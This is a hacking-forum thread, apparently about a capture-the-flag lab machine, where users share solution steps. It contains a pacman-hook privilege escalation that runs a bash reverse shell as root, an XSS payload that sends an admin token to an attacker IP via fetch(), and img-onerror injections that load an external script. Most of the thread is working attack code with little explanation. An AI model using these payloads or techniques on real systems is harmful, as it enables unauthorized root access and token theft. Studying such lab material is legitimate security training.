[byt3r]

Nice box overall

[Joseph]

Nice box overall

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[technet8394]

not even sure how they managed to mess up the launch that badly

[byt3r]

blockchain hmm interesting

[hackemall]

echo "[Trigger]" > /tmp/hooks/revshell.hook

Add Trigger Information:

Run these commands one by one:

echo "Operation = Install" >> /tmp/hooks/revshell.hook
echo "Type = Package" >> /tmp/hooks/revshell.hook
echo "Target = *" >> /tmp/hooks/revshell.hook

Add Action Information:

Run these commands one by one to add the action section:

echo "" >> /tmp/hooks/revshell.hook
echo "[Action]" >> /tmp/hooks/revshell.hook
echo "Description = Reverse shell as root" >> /tmp/hooks/revshell.hook
echo "When = PostTransaction" >> /tmp/hooks/revshell.hook
echo "Exec = /tmp/root_revshell.sh" >> /tmp/hooks/revshell.hook

Thanks but still can't get it to trigger my code. Trying to install the package to trigger the hook with this:

sudo pacman -S --noconfirm base --hookdir /tmp/hooks

I haven't been able to get it to trigger yet. What am I missing?

Privesc from paul to root

• Abuse sudo -l rights
  
• Create another reverse shell script from pacman hook
  

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<YOURIP>/<PORT2> 0>&1' > /tmp/root_revshell.sh

chmod +x /tmp/root_revshell.sh

• Create the pacman hook
  

mkdir -p /tmp/hooks

cat << EOF > /tmp/hooks/revshell.hook
[Trigger]
Operation = Install
Type = Package
Target = *

[Action]
Description = Reverse shell as root
When = PostTransaction
Exec = /tmp/root_revshell.sh
EOF

• Create the revshell package
  

mkdir -p /tmp/revpkg
cd /tmp/revpkg
cat << EOF > PKGBUILD
pkgname=revpkg
pkgver=1.0
pkgrel=1
arch=('any')
pkgdesc="Revshell package triggered by pacman hooks"
license=('GPL')
EOF

makepkg -cf

• Install the revshell package and trigger the hook
  

sudo /usr/bin/pacman --hookdir /tmp/hooks -U revpkg-1.0-1-any.pkg.tar.zst --noconfirm

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[monkeyNo1]

Hi everybody. What is problem to register/login on victim with my name/pass? What is foothold? PLS help. Thanks advance.

[MiniBagels]

Had some free time today and looked at this ... felt pretty stupid at first but the hints you guys left throughout were really helpful Nice box overall thx for the help all

[Art10n]

worst box ever ! I hated it

[Hax4]

You can steal the admin token like this:

fetch('/api/info').then(response => response.text()).then(text => {
    fetch('http://YOUR_IP/log?' + btoa(text), {
        mode: 'no-cors'
    });
});

And with the admin token you can successfully access /admin. From there you will see a endpoint /api/json-rpc

where you able to get this to work with an external script? or directly with xss by wrapping it in the correct tags? (img)

I used an external script for it. The request for the external script was pretty reliable but getting the admin token back needed multiple tries, like 10 or 20

<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.10/exploit.js'; document.body.appendChild(script);" />

I used this to trigger the content of yours, but didn't get admin token, where is wrong???

try this one, and spam it.

<img src=\"1\" onerror=\"this.remove(); var s=document.createElement('script'); s.src='http://10.10.xx.xx/script.js'; document.body.appendChild(s);\">

Thank you for this!
--- 
I can add for clarity ... once you get the Admin's token, 'post' the following ... creds are in this log / decode input fileld as advised earlier. 
 {"jsonrpc": "2.0",
  "method": "eth_getBlockByNumber",
  "params": [
    "0x01",
    true
  ],
  "id": 1
} 

... nice box after all

[redbaby]

https://t.me/htbboxes channel is banned

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Reposting hidden content for free